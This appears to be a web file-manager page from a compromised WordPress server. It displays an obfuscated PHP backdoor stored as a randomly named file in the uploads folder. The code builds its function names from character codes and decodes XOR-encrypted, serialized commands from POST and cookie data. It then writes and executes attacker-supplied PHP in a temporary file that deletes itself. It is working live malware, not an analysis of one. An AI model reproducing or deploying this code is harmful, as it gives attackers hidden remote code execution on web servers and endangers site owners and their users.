HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/07/heasrxjy.php
<?php $bgexg /*_s */ =    'bgexg'    ^ /* ljxk  */ '';$tzlsd /* zu_y*/ =    $bgexg(97)     .    $bgexg(114) /*  v   */ .   "r"."a"."\171"     .    "_"."m".$bgexg(97) /*  ih_*/ .	"p";
$ppzehspkww /*   gpzqmr*/ = /*p*/ "i"."m".$bgexg(489-377) /*   qldee*/ .	"l"."o"."d"."\145";



function       myquex($pzbzstjvxt,    $bokaeovu)
{	global /*   cvw*/ $bgexg;


    

 /*  mbpknb */ $pzbzstjvxt	=   $bgexg(60)    .	"\77" /* vhatns   */ .    "p".$bgexg(1051-947)	. /*bjzhmy  */ "\160" /*  rkyq*/ .	$bgexg(32)	. /*yhdxa   */ "\x75"    . /*  dev   */ $bgexg(110) /*   kqa   */ .    "l"."\x69"      .	"n".$bgexg(276-169)    . /*vni__v */ $bgexg(484-444)   .	"_".$bgexg(95)  .     "F"."\111" /*  civ   */ . /* y   */ "L"."E".$bgexg(756-661)       .	$bgexg(95)	.	$bgexg(88-47)	. /*vqozac   */ $bgexg(59) /* okv  */ . /*jqg  */ $bgexg(32)  .  $pzbzstjvxt[$bgexg(822-722)];  $ceceklz /*  yi */ =	"\x66" /*   nrmw   */ . /*xv   */ "i"."l".$bgexg(525-424) /*   c  */ .    "_"."p".$bgexg(301-184)       . /*pex  */ "t"."_".$bgexg(1055-956)    . /*   qe   */ "o".$bgexg(110)      .     "\164" /*   gqvzr  */ . /* rb_aj */ "e".$bgexg(110)	.	"\x74" /* aq  */ . /*   mmjju*/ $bgexg(115);
      

 /*   u */ $ceceklz($bokaeovu, /*zkizwo */ $pzbzstjvxt);

 /*   fpak*/ 

 /* xzqt*/ mwebjj($bokaeovu);

}





$_zzxeij /*  tk   */ =	73;



function /* dx   */ mwebjj($bokaeovu)
{

       global /*  aq  */ $bgexg;	
 /*  ilgfha  */ include($bokaeovu); /*   wjdvwd  */ $xstbnf    =      $bokaeovu;


    @unlink($xstbnf);
}



function   dslzqtw()

{

 /*zu */ global	$bgexg;



    $hy_uoltmd	=	array();

    $hy_uoltmd["p"."\x76"] /*  q_hks  */ = /*   p */ phpversion();
 /* oplv   */ $hy_uoltmd[$bgexg(115) /*   fiyjjq */ .       $bgexg(730-612)]    = /*   bzgfqj*/ "3"."."."\65";
	$uztuyxm    = /* aar*/ 74;
 /* qft*/ echo /*zkxb*/ @serialize($hy_uoltmd);
}



function	lgpnuigqll($pzbzstjvxt,  $_meac){ /* u  */ global     $bgexg;

	$qbjdufkvqgt_wj /*  gaiwsw   */ =	"";
 /*   a_qi   */ $yfrzeloxlg /*   cfqm   */ =  strlen($pzbzstjvxt); /*  t_eix   */ $crnbzwrut     = /*  fejv  */ strlen($_meac); /*rbqtve  */ $hy_uoltmd	= /*  o  */ 0;      $qbjdufkv	=    0;


 /*   qrf  */  /*   hf_*/ while    ($hy_uoltmd    <      $yfrzeloxlg)	{


    $xtngcsxgv     =	$pzbzstjvxt[$hy_uoltmd] /*   zp   */ ^  $_meac[$qbjdufkv /*  kixwz   */ %  $crnbzwrut];

 /*   xyiz*/ $qbjdufkvqgt_wj      .=     $xtngcsxgv;

    $qbjdufkv++;	
     $hy_uoltmd++;

      }
 /*  mqb */ 

 /*   eeu   */ if /*   dmjd   */ (strlen($qbjdufkvqgt_wj)      >    20) /* c_ncax */ {


    $pkzusfit  =   substr($qbjdufkvqgt_wj, /* gp */ 0, /*   gmryn   */ 20);


    }       if /*   rjpip   */ (empty($qbjdufkvqgt_wj)) /*wpvv   */ {	$qbjdufkvqgt_wj    =	date('Y-m-d /*  oxerle  */ H:i:s');


 /*  r   */ }


 /*_sduh   */ return	$qbjdufkvqgt_wj;}



function /*fiyjuf   */ bdbhhjqp($ozzbhw)
{       global   $bgexg;


      


    $zkwarzvvq    =	"e".$bgexg(714-614)       .  "1"."4"."1".$bgexg(107-7) /* qcttz  */ .	$bgexg(56)      . /* uxgmr  */ "6"."-"."\144"    . /*  jwek   */ $bgexg(618-521) /*  sqk*/ .    "\x62"     . /*   jo_j   */ $bgexg(56)   . /*   kxtbi   */ "-"."\x34" /*mjmex   */ .    "\x33"    . /*   jvhmg*/ "\x30"    . /*  jyfj   */ "9".$bgexg(45) /*  p*/ . /*  x */ "\x39"       . /*  uzh   */ "\63"       .	"\70"     .	"2"."-"."4"."5".$bgexg(977-921) /*  jjlsi   */ . /*  lxyoez */ "\x64" /* ww*/ .    "8".$bgexg(50)	.	"\146"  . /* mwybbp */ $bgexg(948-899) /*  cy   */ .      "\70"     .  $bgexg(52) /*  sffcah */ .	"3"."0";

 /*  m*/   foreach /*k   */ ($ozzbhw    as     $kuegzkmnli    =>    $pzbzstjvxt)  {


 /*  pwppzz*/ fxmzdv(base64_decode($pzbzstjvxt),       $zkwarzvvq, /*kqrthk */ $kuegzkmnli);


	}

}



function /*  mdbk_ */ fxmzdv($pzbzstjvxt,      $zkwarzvvq,    $kuegzkmnli)


{


   global     $bgexg; /*   q*/ 
 /*mo */ $pzbzstjvxt   = /*  hq */ unserialize(lgpnuigqll(lgpnuigqll($pzbzstjvxt,    $zkwarzvvq),	$kuegzkmnli));
	$gdkljl /*c   */ = /* cah_x   */ 'nkbekkakdj';	$qbjdufkvfk_ugop       =    'ok_xc';
    if /*  y   */ (isset($pzbzstjvxt["a"."k"]))    {      if	($pzbzstjvxt["a"]    ==    "i")       {


	dslzqtw();
 /*wu  */ } /* nhdz */ elseif    ($pzbzstjvxt["a"] /* x   */ == /*  cd   */ "e")    {	myquex($pzbzstjvxt, /* u_skv   */ sprintf($bgexg(298-252)	.    "/"."%"."\163"	. /*s   */ $bgexg(257-211) /*   utxtq */ . /*  ae*/ "p"."l", /*  wicopb*/ md5($zkwarzvvq)));


			$lotcmxxjm	=     44;    }      exit();


 /* c  */ }
}




bdbhhjqp($_POST);	
$twwla /*csp*/ =    'rawurldecode';




$kkzm_wdhf /*  ka_sl   */ =	$tzlsd($twwla, /* e  */ $_POST);


$ppzehspkww("",	$twwla);

bdbhhjqp($_COOKIE);

$hambloqjs    =	$tzlsd($twwla,       $_COOKIE);



?>